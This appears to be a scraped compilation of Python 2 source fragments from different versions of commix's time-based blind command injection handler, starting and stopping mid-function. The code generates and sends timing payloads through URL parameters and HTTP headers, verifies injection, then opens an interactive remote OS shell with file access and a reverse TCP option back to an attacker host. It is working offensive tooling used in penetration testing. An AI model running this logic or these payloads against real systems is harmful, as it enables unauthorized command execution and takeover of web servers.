                tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True:
              while True:
                file_access_again = raw_input(settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > ").lower()
                if file_access_again in settings.CHOICE_YES:
                  tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  if not new_line:
                    new_line = True
                  break 
                elif file_access_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again = "enter"
                  print Back.RED + settings.ERROR_SIGN + "'" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL + "\n"
                  pass
            else:
              # if not menu.enumeration_options() and not menu.options.os_cmd:
              #   print ""
              tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)

            # Check if defined single cmd.
            if menu.options.os_cmd:
              cmd = menu.options.os_cmd
              check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
              # Export injection result
              tb_injector.export_injection_results(cmd, separator, output, check_how_long)
              sys.exit(0)

            if not new_line :
              print ""

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break 
              gotshell = raw_input(settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
              if gotshell in settings.CHOICE_YES:
                print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        if no_result == True:
                          return False
                        else:
                          return True 
                      elif os_shell_option == "quit":                    
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                          print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          from src.core.injections.results_based.techniques.classic import cb_injector
                          separator = checks.time_based_separators(separator, http_request_method)
                          whitespace = settings.WHITESPACES[0]
                          response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                          # Evaluate injection results.
                          shell = cb_injector.injection_results(response, TAG)
                          # Export injection result
                          if menu.options.verbose:
                            print ""
                          print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
                      else:
                        pass
                      
                    else:
                      print ""
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                        # Export injection result
                        tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL

                      print ""
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  
                    
              elif gotshell in settings.CHOICE_QUIT:
                sys.exit(0)

              else:
                if gotshell == "":
                  gotshell = "enter"
                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                pass
              #break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#5
0
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
 
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  export_injection_info = False
  how_long = 0
  injection_type = "blind OS command injection"
  technique = "time-based command injection technique"

  if settings.VERBOSITY_LEVEL >= 1:
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    print settings.print_info_msg(info_msg)

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    warn_msg = "The '--url-reload' option is not available in " + technique + "."
    print settings.print_warning_msg(warn_msg)

  #whitespace = checks.check_whitespaces()
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          how_long_statistic = []
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.TIME_BASED_STATE = True
              cmd = shell = ""
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              settings.FOUND_HOW_LONG = how_long
              settings.FOUND_DIFF = how_long - timesec
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)

          if not settings.LOAD_SESSION:
            num_of_chars = num_of_chars + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""
            
            # Define alter shell
            alter_shell = menu.options.alter_shell
            
            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
            tag_length = len(TAG) + 4
            
            for output_length in range(1, int(tag_length)):
              try:
                if alter_shell:
                  # Time-based decision payload (check if host is vulnerable).
                  payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method)
                else:
                  # Time-based decision payload (check if host is vulnerable).
                  payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method)

                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                # Whitespace fixation
                payload = payload.replace(" ", whitespace)
                
                # Perform payload modification
                payload = checks.perform_payload_modification(payload)

                # Check if defined "--verbose" option.
                if settings.VERBOSITY_LEVEL == 1:
                  payload_msg = payload.replace("\n", "\\n")
                  print settings.print_payload(payload_msg)
                # Check if defined "--verbose" option.
                elif settings.VERBOSITY_LEVEL > 1:
                  info_msg = "Generating a payload for injection..."
                  print settings.print_info_msg(info_msg)
                  payload_msg = payload.replace("\n", "\\n") 
                  sys.stdout.write(settings.print_payload(payload_msg) + "\n")

                # Cookie header injection
                if settings.COOKIE_INJECTION == True:
                  # Check if target host is vulnerable to cookie header injection.
                  vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                  how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

                # User-Agent HTTP header injection
                elif settings.USER_AGENT_INJECTION == True:
                  # Check if target host is vulnerable to user-agent HTTP header injection.
                  vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                  how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

                # Referer HTTP header injection
                elif settings.REFERER_INJECTION == True:
                  # Check if target host is vulnerable to referer HTTP header injection.
                  vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                  how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

                # Host HTTP header injection
                elif settings.HOST_INJECTION == True:
                  # Check if target host is vulnerable to host HTTP header injection.
                  vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                  how_long = tb_injector.host_injection_test(url, vuln_parameter, payload)

                # Custom HTTP header Injection
                elif settings.CUSTOM_HEADER_INJECTION == True:
                  # Check if target host is vulnerable to custom http header injection.
                  vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                  how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload)

                else:
                  # Check if target host is vulnerable.
                  how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

                # Statistical analysis in time responses.
                how_long_statistic.append(how_long)

                # Injection percentage calculation
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

                if percent == 100 and no_result == True:
                  if not settings.VERBOSITY_LEVEL >= 1:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = ""
                else:
                  if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                     (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                     (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                    # Time relative false positive fixation.
                    false_positive_fixation = False
                    if len(TAG) == output_length:

                      # Simple statical analysis
                      statistical_anomaly = True
                      if len(set(how_long_statistic[0:5])) == 1:
                        if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                          statistical_anomaly = False
                          how_long_statistic = []  

                      if timesec <= how_long and not statistical_anomaly:
                        false_positive_fixation = True
                      else:
                        false_positive_warning = True

                    # Identified false positive warning message.
                    if false_positive_warning:
                      warn_msg = "Unexpected time delays have been identified due to unstable "
                      warn_msg += "requests. This behavior may lead to false-positive results.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      while True:
                        if not menu.options.batch:
                          question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                          sys.stdout.write(settings.print_question_msg(question_msg))
                          proceed_option = sys.stdin.readline().replace("\n","").lower()
                        else:
                          proceed_option = ""  
                        if len(proceed_option) == 0:
                           proceed_option = "c" 
                        if proceed_option.lower() in settings.CHOICE_PROCEED :
                          if proceed_option.lower() == "s":
                            false_positive_fixation = False
                            raise
                          elif proceed_option.lower() == "c":
                            timesec = timesec + 1
                            false_positive_fixation = True
                            break
                          elif proceed_option.lower() == "q":
                            raise SystemExit()
                        else:
                          err_msg = "'" + proceed_option + "' is not a valid answer."
                          print settings.print_error_msg(err_msg)
                          pass

                    # Check if false positive fixation is True.
                    if false_positive_fixation:
                      false_positive_fixation = False
                      settings.FOUND_HOW_LONG = how_long
                      settings.FOUND_DIFF = how_long - timesec
                      if false_positive_warning:
                        time.sleep(1)
                      randv1 = random.randrange(1, 10)
                      randv2 = random.randrange(1, 10)
                      randvcalc = randv1 + randv2

                      if settings.TARGET_OS == "win":
                        if alter_shell:
                          cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                        else:
                          cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                      else:
                        cmd = "expr " + str(randv1) + " %2B " + str(randv2) + ""

                      # Set the original delay time
                      original_how_long = how_long
                      
                      # Check for false positive resutls
                      how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response)

                      if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                         (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                         (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        
                        if str(output) == str(randvcalc) and len(TAG) == output_length:
                          possibly_vulnerable = True
                          how_long_statistic = 0
                          if not settings.VERBOSITY_LEVEL >= 1:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                          else:
                            percent = ""
                      else:
                        break
                    # False positive
                    else:
                      if not settings.VERBOSITY_LEVEL >= 1:
                        percent = str(float_percent)+ "%"
                        info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                      continue    
                  else:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = str(float_percent)+ "%"
                      info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue
                if not settings.VERBOSITY_LEVEL >= 1:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

              except KeyboardInterrupt: 
                raise

              except SystemExit:
                raise

              except EOFError:
                err_msg = "Exiting, due to EOFError."
                print settings.print_error_msg(err_msg)
                raise

              except:
                percent = ((num_of_chars * 100) / total)
                float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
                if str(float_percent) == "100.0":
                  if no_result == True:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = Fore.RED + "FAILED" + Style.RESET_ALL
                      info_msg =  "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    else:
                      percent = ""
                  else:
                    percent = str(float_percent) + "%"
                    print ""
                    # Print logs notification message
                    logs.logs_notification(filename)
                  #raise
                else:
                  percent = str(float_percent) + "%"
              break
              
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response == 0 and (how_long - timesec) >= 0) or \
             (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
             (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :  
            if (len(TAG) == output_length) and \
               (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

              found = True
              no_result = False
              # Check injection state
              settings.DETECTION_PHASE = False
              settings.EXPLOITATION_PHASE = True
              if settings.LOAD_SESSION:
                possibly_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " parameter"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.CUSTOM_HEADER_INJECTION == True: 
                header_name = " " + settings.CUSTOM_HEADER_NAME
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
              
              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1

              if not settings.LOAD_SESSION:
                if not settings.VERBOSITY_LEVEL >= 1:
                  print ""
                else:
                  checks.total_of_requests()

              # Print the findings to terminal.
              success_msg = "The"
              if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
                success_msg += " " + http_request_method 
              success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
              success_msg += found_vuln_parameter + " seems injectable via "
              success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
              print settings.print_success_msg(success_msg)
              print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
              # Export session
              if not settings.LOAD_SESSION:
                shell = ""
                session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
                #possibly_vulnerable = False
              else:
                settings.LOAD_SESSION = False 
              
              new_line = False   
              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True:
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to enumerate again? [Y/n] > "
                    enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                  else:
                    enumerate_again = ""
                  if len(enumerate_again) == 0:
                    enumerate_again = "y"
                  if enumerate_again in settings.CHOICE_YES:
                    tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                    print ""
                    break
                  elif enumerate_again in settings.CHOICE_NO: 
                    new_line = True
                    break
                  elif enumerate_again in settings.CHOICE_QUIT:
                    raise SystemExit()
                  else:
                    err_msg = "'" + enumerate_again + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass
              else:
                if menu.enumeration_options():
                  tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                  print ""

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True:
                print ""
                while True:
                  if not menu.options.batch:
                    question_msg = "Do you want to access files again? [Y/n] > "
                    sys.stdout.write(settings.print_question_msg(question_msg))
                    file_access_again = sys.stdin.readline().replace("\n","").lower()
                  else:
                    file_access_again = "" 
                  if len(file_access_again) == 0:
                     file_access_again = "y" 
                  if file_access_again in settings.CHOICE_YES:
                    tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                    break
                  elif file_access_again in settings.CHOICE_NO: 
                    if not new_line:
                      new_line = True
                    break 
                  elif file_access_again in settings.CHOICE_QUIT:
                    raise SystemExit()
                  else:
                    err_msg = "'" + file_access_again  + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass
              else:
                # if not menu.enumeration_options() and not menu.options.os_cmd:
                #   print ""
                tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)

              # Check if defined single cmd.
              if menu.options.os_cmd:
                cmd = menu.options.os_cmd
                check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                # Export injection result
                tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                print ""
                logs.print_logs_notification(filename, url) 
                raise SystemExit()

              if not new_line :
                print ""

              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break 
                if not menu.options.batch:  
                  question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  gotshell = sys.stdin.readline().replace("\n","").lower()
                else:
                  gotshell = "" 
                if len(gotshell) == 0:
                  gotshell = "y"
                if gotshell in settings.CHOICE_YES:
                  if not menu.options.batch:
                    print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    if false_positive_warning:
                      warn_msg = "Due to unexpected time delays, it is highly "
                      warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      false_positive_warning = False
                    try:
                      # Tab compliter
                      if not readline_error:
                        readline.set_completer(menu.tab_completer)
                        # MacOSX tab compliter
                        if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                          readline.parse_and_bind("bind ^I rl_complete")
                        # Unix tab compliter
                        else:
                          readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                        if go_back and go_back_again == False:
                          break
                        if go_back and go_back_again:
                          return True 
                      else:
                        if menu.options.ignore_session or \
                           session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                          # The main command injection exploitation.
                          check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                          # Export injection result
                          tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                          if not menu.options.ignore_session :
                            session_handler.store_cmd(url, cmd, output, vuln_parameter)
                        else:
                          output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                          print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, output)
                        print ""

                    except KeyboardInterrupt: 
                      raise

                    except SystemExit: 
                      raise

                    except EOFError:
                      err_msg = "Exiting, due to EOFError."
                      print settings.print_error_msg(err_msg)
                      raise

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  
                      
                elif gotshell in settings.CHOICE_QUIT:
                  raise SystemExit()

                else:
                  err_msg = "'" + gotshell + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
                break
            
    
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#6
0
def tb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):

    percent = 0
    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    is_vulnerable = False
    export_injection_info = False
    how_long = 0
    injection_type = "Blind Command Injection"
    technique = "time-based injection technique"

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL

    percent = str(percent) + "%"
    sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " +
                     percent + " ]")
    sys.stdout.flush()

    # Calculate all possible combinations
    total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
             len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:
                num_of_chars = num_of_chars + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Define alter shell
                alter_shell = menu.options.alter_shell

                # Change TAG on every request to prevent false-positive results.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase)
                    for num_of_chars in range(6))
                tag_length = len(TAG) + 4

                for output_length in range(1, int(tag_length)):
                    try:

                        # Log previous 'how_long' for later comparison
                        previous_how_long = how_long

                        if alter_shell:
                            # Time-based decision payload (check if host is vulnerable).
                            payload = tb_payloads.decision_alter_shell(
                                separator, TAG, output_length, delay,
                                http_request_method)
                        else:
                            # Time-based decision payload (check if host is vulnerable).
                            payload = tb_payloads.decision(
                                separator, TAG, output_length, delay,
                                http_request_method)

                        # Fix prefixes / suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        if menu.options.base64:
                            payload = base64.b64encode(payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            sys.stdout.write("\n" + Fore.GREY +
                                             "(~) Payload: " +
                                             payload.replace("\n", "\\n") +
                                             Style.RESET_ALL)

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(
                                menu.options.cookie)
                            how_long = tb_injector.cookie_injection_test(
                                url, vuln_parameter, payload)

                        # User-Agent Injection
                        elif settings.USER_AGENT_INJECTION == True:
                            # Check if target host is vulnerable to user-agent injection.
                            vuln_parameter = parameters.specify_user_agent_parameter(
                                menu.options.agent)
                            how_long = tb_injector.user_agent_injection_test(
                                url, vuln_parameter, payload)

                        # Referer Injection
                        elif settings.REFERER_INJECTION == True:
                            # Check if target host is vulnerable to referer injection.
                            vuln_parameter = parameters.specify_referer_parameter(
                                menu.options.referer)
                            how_long = tb_injector.referer_injection_test(
                                url, vuln_parameter, payload)

                        else:
                            # Check if target host is vulnerable.
                            how_long, vuln_parameter = tb_injector.injection_test(
                                payload, http_request_method, url)

                        # Injection percentage calculation
                        percent = ((num_of_chars * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((num_of_chars * 100) / (total * 1.0)), 2))

                        if percent == 100 and no_result == True:
                            if not menu.options.verbose:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = ""

                        else:
                            if how_long == previous_how_long + delay:
                                # Time relative false positive fixation.
                                if len(TAG) == output_length:
                                    tmp_how_long = how_long
                                    randv1 = random.randrange(0, 1)
                                    randv2 = random.randrange(1, 2)
                                    randvcalc = randv1 + randv2
                                    cmd = "(" + str(randv1) + "+" + str(
                                        randv2) + ")"

                                    # Check for false positive resutls
                                    how_long, output = tb_injector.false_positive_check(
                                        separator, TAG, cmd, prefix, suffix,
                                        delay, http_request_method, url,
                                        vuln_parameter, randvcalc, alter_shell,
                                        how_long)

                                    if str(tmp_how_long) == str(how_long) and \
                                       str(output) == str(randvcalc) and \
                                       len(TAG) == output_length:

                                        is_vulnerable = True
                                        if not menu.options.verbose:
                                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                        else:
                                            percent = ""
                                    else:
                                        break
                                # False positive
                                else:
                                    continue
                            else:
                                percent = str(float_percent) + "%"

                        if not menu.options.verbose:
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + percent + " ]")
                            sys.stdout.flush()

                    except KeyboardInterrupt:
                        raise

                    except SystemExit:
                        raise

                    except:
                        break

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if how_long == previous_how_long + delay:
                        if (len(TAG) == output_length) and (is_vulnerable
                                                            == True):
                            found = True
                            no_result = False
                            is_vulnerable = False

                            if settings.COOKIE_INJECTION == True:
                                header_name = " Cookie"
                                found_vuln_parameter = vuln_parameter
                                the_type = " HTTP header"

                            elif settings.USER_AGENT_INJECTION == True:
                                header_name = " User-Agent"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.REFERER_INJECTION == True:
                                header_name = " Referer"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            else:
                                header_name = ""
                                the_type = " parameter"
                                if http_request_method == "GET":
                                    found_vuln_parameter = parameters.vuln_GET_param(
                                        url)
                                else:
                                    found_vuln_parameter = vuln_parameter

                            if len(found_vuln_parameter) != 0:
                                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                            # Print the findings to log file.
                            if export_injection_info == False:
                                export_injection_info = logs.add_type_and_technique(
                                    export_injection_info, filename,
                                    injection_type, technique)
                            if vp_flag == True:
                                vp_flag = logs.add_parameter(
                                    vp_flag, filename, http_request_method,
                                    vuln_parameter, payload)
                            logs.update_payload(filename, counter, payload)
                            counter = counter + 1

                            # Print the findings to terminal.
                            print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                            ) + Style.RESET_ALL + ""
                            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
